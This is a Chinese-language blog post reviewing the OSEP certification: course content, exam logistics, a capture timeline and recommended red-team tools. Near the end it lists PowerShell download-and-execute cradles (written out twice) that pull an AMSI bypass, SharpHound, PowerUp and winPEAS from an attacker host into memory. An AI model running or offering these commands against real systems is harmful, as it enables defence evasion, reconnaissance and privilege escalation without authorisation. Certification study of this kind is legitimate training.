September 13, 2026
OSEP 心得
OSEP Review — OffSec Experienced Penetration Tester 2026

By 陳禹璿
13 min read
終於在115年9月3日預約了OSEP考試,那也很幸運的通過了OSEP的考驗,這也是在OSCP之後又拿到了一張高含金量的紅隊證照,整個過程也算是有不小的收穫。
OSEP 介紹
OSEP 全名是 OffSec Experienced Penetration Tester,考試代號 PEN-300,這張證照相對應的課名是Advanced Evasion Techniques and Breaching Defenses,也就是說最主要的內容是在有防禦措施的環境裡怎麼繞過去,以及比較進階的AD攻擊手法,跟 OSCP 相比,OSEP 假設你已經會基本滲透,重點放在對抗防禦手段和進階攻擊鏈的建構上。
考試本身是 47 小時 45 分鐘的實作,結束後還有 24 小時可以整理並上傳報告,它也是 OSCE3(OffSec 三張進階證照組合)裡的其中一張證照。
OSEP 課程內容
OSEP課程有非常多個章節,但是其實主要就分成幾個部分,總共可以區分成4個區塊:
- 社交工程篇
- 規避及繞過篇
- 橫向移動篇
- Active Directory篇
社交工程篇裡面,會教你怎麼使用Office寫marco的釣魚郵件、Calendars釣魚、社交工程的attachment撰寫要怎麼規避防毒、Jscript、HTA等釣魚的方式,坦白說現在都沒什麼用。
規避及繞過篇我認為可以說是整個課程最精華的地方,這個章節會教你如何使用Reflective PowerShell規避、用C#做Shellcode基礎的混淆、寫Shellcode loader、Process Hollowing、如何Bypass UAC、AppLocker還有ConstrainedLanguage mode,這邊會給你很多的啟發,當然單純用這邊的技術在現實生活中照貼一定立刻被防毒砍掉,但是這邊會給你idea,要依照現實的狀態去做調整。
橫向移動篇這個章節就是告訴你怎麼從本機撈帳號密碼,這邊會有分成Windows 跟 Linux的,Windows的部分會教你寫一個Godpotato、繞過LSA protection、撈LAPS密碼,Linux的部分就很有趣了,會教你一堆奇奇怪怪的SSH Lateral Movement的手法,還有當Linux有整合kerberos驗證的時候可以怎麼運用,同時還有Microsoft SQL attacks的橫向移動技巧。
Active Directory篇就是OSCP的進階版本,會教一些更進階的AD攻防手法,主要還是基於OSCP的基本功。
OSEP的特色就是它不是單純教你使用工具,他會從寫Code的角度告訴你這個東西的原理是甚麼,跟著課程的腳步走就可以,這也是OSEP證照最有價值的地方了。
OSEP考試介紹
OSEP考試總共 47 小時 45 分鐘,考試的時候你只會拿到對外的兩個IP位置,然後後面包含主機發現跟目標滲透就都要靠自己了,與OSCP一樣都是會有人在監控你考試,這邊個人推薦Offsec的監控要用firefox開,不要用chrome跟edge開,我考試的時候一開始使用Chrome就不斷的斷線,也被要求不斷的重開監控,換到firefox就比較穩定。
那與OSCP不同的是,OSEP考試可以使用的工具更多,除了商用滲透工具以外幾乎都可以使用,所以meterpreter、sqlmap等等在OSCP被封禁的東西在這邊幾乎都可以用。
OSEP Exam Guide Please read this entire document carefully before beginning your exam!In this article, you will find relevant…
另外一點值得提的是,考試前監考官會用腳本掃描你的電腦,如果你電腦裡面有安裝AI工具或是VPN會被要求解除安裝再掃描,如果電腦裡面有裝claude code的話,記得先刪掉再考試。
考試的得分策略也與OSCP不同,再OSCP裡面要想辦法湊到70分就通過,所以會有AD set跟standalone的主機的配分策略,但是OSEP沒有,通過的方法要不就是湊夠10個flag拿100分,要不就是拿到secret.txt,而且也不是每個主機裡面都有local.txt或是proof.txt,有些只有local.txt,有些只有proof.txt,有些兩個都有,也有些兩個都沒有。
考試的時候offsec會準備一台Windows主機當成惡意程式開發主機給你使用,他會給你密碼跟ip讓你可以RDP進去使用,但是我個人是安裝一台自己的Windows 11虛擬機當成開發機,裡面安裝visual studio,比較不會有連線上面的問題,考試起來比較安心,考試前也建議先把會用到的程式碼都準備好放在開發機裡面,拿到IP後換一個IP就可以直接拿來使用。
至於考試的難度,我個人的感覺是比OSCP那種噁心人的考試比起來簡單很多,大概是Challenge lab打得很順後就可以去考試了,甚至不需要所有lab都打完,感覺對了就可以去考,我也不知道怎麼說明這個感覺,反正就是打一打Challenge lab打到某一天就會突然覺得這樣去考試一定會過吧,這個時候就可以去預約考試了,以下是我的考試時間紀錄。
- 1700:開始考試視訊
- 1730:環境測通,開始考試
- 1805:對外主機 — local.txt
- 1812:對外主機 — proof.txt
- 1945:內部主機 — proof.txt
- 2029:內部主機 — proof.txt
- 2053:內部主機 — proof.txt
- 2141:內部主機 — proof.txt
- 2157:內部主機 — proof.txt
- 0006:內部主機 — secret.txt
- 0045:內部主機 — proof.txt
- 0112:對外主機 — proof.txt
其實可以發現,大概半小時到一小時就可以打下一台主機,很快就拿到secret.txt了,所以把教材內的觀念都搞懂基本上要通過OSEP考試是沒有甚麼太大的問題的。
OSEP考試準備
OSEP考試就是一個只要把教材讀通,基本上就可以通過的考試,它不會像OSCP整天換著方式噁心人,基本上Challenge 1–6有打完就OK,Challenge 7–8可以當成真實的考試練練手,我一開始再打Challenge的時候打的很辛苦,但是再熟悉這個步調後就越打越順手,打到Challenge 5的時候就想應該差不多了,但還是堅持打到Challenge 7才去報名。
至於Challenge Lab的部分總共有8個,前面4個是針對特定主題設計的lab,Challenge 5、Challenge 6 是模擬真實考試環境但是靶機數量比較少,而Challenge 7、Challenge 8聽說是退役的考場,個人建議至少要打到Challenge 5沒問題才可以上場會比較穩。
這邊也推薦一些好用的網路資源作為考試時的參考,有一些特殊的工具可以讓考試事半功倍 :
OSEPlayground
這個Github裡面的程式碼基本上可以處理掉9成OSEP會遇到的問題,其中最重要的就是防毒繞過、CLM&APPlocker繞過的程式碼,把這個東西完熟對於考試一定有很大的幫助。
GitHub - Extravenger/OSEPlayground: A collection of useful tools and scripts were developed and… A collection of useful tools and scripts were developed and gathered throughout the Offensive Security's PEN-300 (OSEP)…
MSSqlPwner
MSSqlPwner是專門用來處理MSSQL的工具,對於RCE、NTLM Relay、link或是執行sql語法都非常方便,使用起來非常絲滑。
GitHub - ScorpionesLabs/MSSqlPwner Contribute to ScorpionesLabs/MSSqlPwner development by creating an account on GitHub.
Ligolo-ng
Ligolo-ng算是老朋友了,對於內網的部分Ligolo-ng應該是現在最好使用的工具,而且OSEP還可能會處理到double pivioting的問題Ligolo-ng也可以很輕易的處理好,至於Ligolo-ng要怎麼做防毒繞過OSEPlayground裡面有很詳細的描述。
GitHub - nicocha30/ligolo-ng: An advanced, yet simple, tunneling/pivoting tool that uses a TUN… An advanced, yet simple, tunneling/pivoting tool that uses a TUN interface. - nicocha30/ligolo-ng
Metasploit Framework
OSEP其中一個考試重點就是熟系的使用Meterpreter這個強大的後滲透框架,請熟悉的使用裡面的相關功能,包含getystem、kiwi、lap或是其他相關的模組,都應該想想是不是有Meterpreter可以用的模組來減少工作,讓考試的時候這個東西可以發揮最大的效用。
AMSI.Fail
如果OSEP課文裡面的AMSI Bypass字串失效了,可以來參考一下這個網站產製的AMSI Bypass code,理論上都是有效的。
AMSI.fail Generate obfuscated PowerShell snippets that break or disable AMSI for the current process.
考試前也應該要先準備好相關的工具,像我是有自己準備一台關閉Windows Defender的 Windows 11機器做為開發機器,裡面也準備好各種shellcode loader、process Hollowing的程式碼以及Visual Studio 2027,就看考試的時候拿到甚麼IP就直接編譯出混淆過的程式,
同時kali裡面也準備了一大堆常用的工具,考試的時候用python開一個http server就可以直接傳輸工具
另外可以準備這種常用的powershell工具無檔案下載指令,考試的時候換個IP就可以了,每當拿到一台機器,就直接把這整串炸進去shell裡面來減少挑工具的時間
(new-object system.net.webclient).downloadstring('http://192.168.45.166/amsi.txt') | IEX
(new-object system.net.webclient).downloadstring('http://192.168.45.166/LAPSToolkit.ps1') | IEX
(new-object system.net.webclient).downloadstring('http://192.168.45.166/SharpHound.ps1') | IEX
(new-object system.net.webclient).downloadstring('http://192.168.45.166/PowerView.ps1') | IEX
(new-object system.net.webclient).downloadstring('http://192.168.45.166/HostRecon.ps1') | IEX
(new-object system.net.webclient).downloadstring('http://192.168.45.166/PowerUp.ps1') | IEX
(new-object system.net.webclient).downloadstring('http://192.168.45.166/winPEAS.ps1') | IEX(new-object system.net.webclient).downloadstring('http://192.168.45.166/amsi.txt') | IEX
(new-object system.net.webclient).downloadstring('http://192.168.45.166/LAPSToolkit.ps1') | IEX
(new-object system.net.webclient).downloadstring('http://192.168.45.166/SharpHound.ps1') | IEX
(new-object system.net.webclient).downloadstring('http://192.168.45.166/PowerView.ps1') | IEX
(new-object system.net.webclient).downloadstring('http://192.168.45.166/HostRecon.ps1') | IEX
(new-object system.net.webclient).downloadstring('http://192.168.45.166/PowerUp.ps1') | IEX
(new-object system.net.webclient).downloadstring('http://192.168.45.166/winPEAS.ps1') | IEX當然BloodHound是OSEP裡面非常重要的工具,當你不知道要看嘛的時候就把SharpHound炸一次,再丟到BloodHound裡面說不定就可以知道下一步要怎麼做了。
OSEP與OSCP的比較
OSCP是在告訴你情蒐與列舉可以利用的漏洞的技巧以及滲透技巧,以及一個合格的滲透測試人員的心態,坦白說內容還是屬於比較基本的,攻擊手法都是基礎工,而OSEP是建築在OSCP上的擴充包,基本上還是需要有扎實的OSCP的基礎才可以游刃有餘,但是這邊也不是說有OSCP就考得過OSEP或是OSCP > OSEP之類的意思,而是OSEP補起了一部分在OSCP裡面沒有被提到的部分。
OSEP考試沒有刁鑽的漏洞利用或是雞掰帶有惡意的攻擊路徑(但OSEP Challenge lab有),所以應該有了解課程內容就可以順順的考試了,其實也不太需要像是OSCP那樣特別去練習HTB或是VirtualHackingLab靶機,單純把Challenge Lab打順就可以了。
另外OSEP的教材不完全向OSCP會再章節後面有lab跟capstone練習該章節學的東西並拿到flag,而是在Challenge Labs的Course Modules裡面會有lab環境,這個環境就是大概跟教材當下談的東西類似,可以自己模擬出來教材內容的手法,不過靠北的是常常教材講的主機名稱跟lab不一樣,所以要自己猜,然後有些章節又會回歸像是OSCP那樣的打靶機拿flag,反正就是一個超級混亂的狀態
其實很多人談到OSEP為人詬病的地方是教材太舊,內容沒有更新,我自己的感覺是沒錯教材有夠古老,這個年頭還有人在談marco病毒嗎? 裡面繞過的手法像是process hollowing、DLL Sideloading也有快10年的歷史了,雖然現在來是偶有耳聞哪個駭客組織又再用DLL SideLoading,不過還是有更新的技術可以教吧? OSCP以前沒幾年就會有一次大概版而OSEP好像只會有些微的變動而以,如果Offsec沒有改善這點的話我看不用幾年就要被HTB超車了。
最後我自己個人是覺得以考試難度來說 OSCP是大於OSEP的,甚至比OSEP更有代表性,建議想走Offsec紅隊的人不要跳過OSCP這張經典永不過時的證照。
心得
OSEP其實是OSCE3的其中一張證照,感覺好像離這個目標越來越近了,就好像小時候多年的夢想慢慢出現在前面一樣,努力沒有白費。
接下來要接著來戰OSWE更是一大挑戰,希望盡早可以把剩下的兩片拼圖拼上去,完成自己的目標,也感謝準備考是這段期間給我建議以及一直拐我去考試的的同事們。
最後不免俗要附上熱騰騰的證照
115/09/13 21:54 台北南港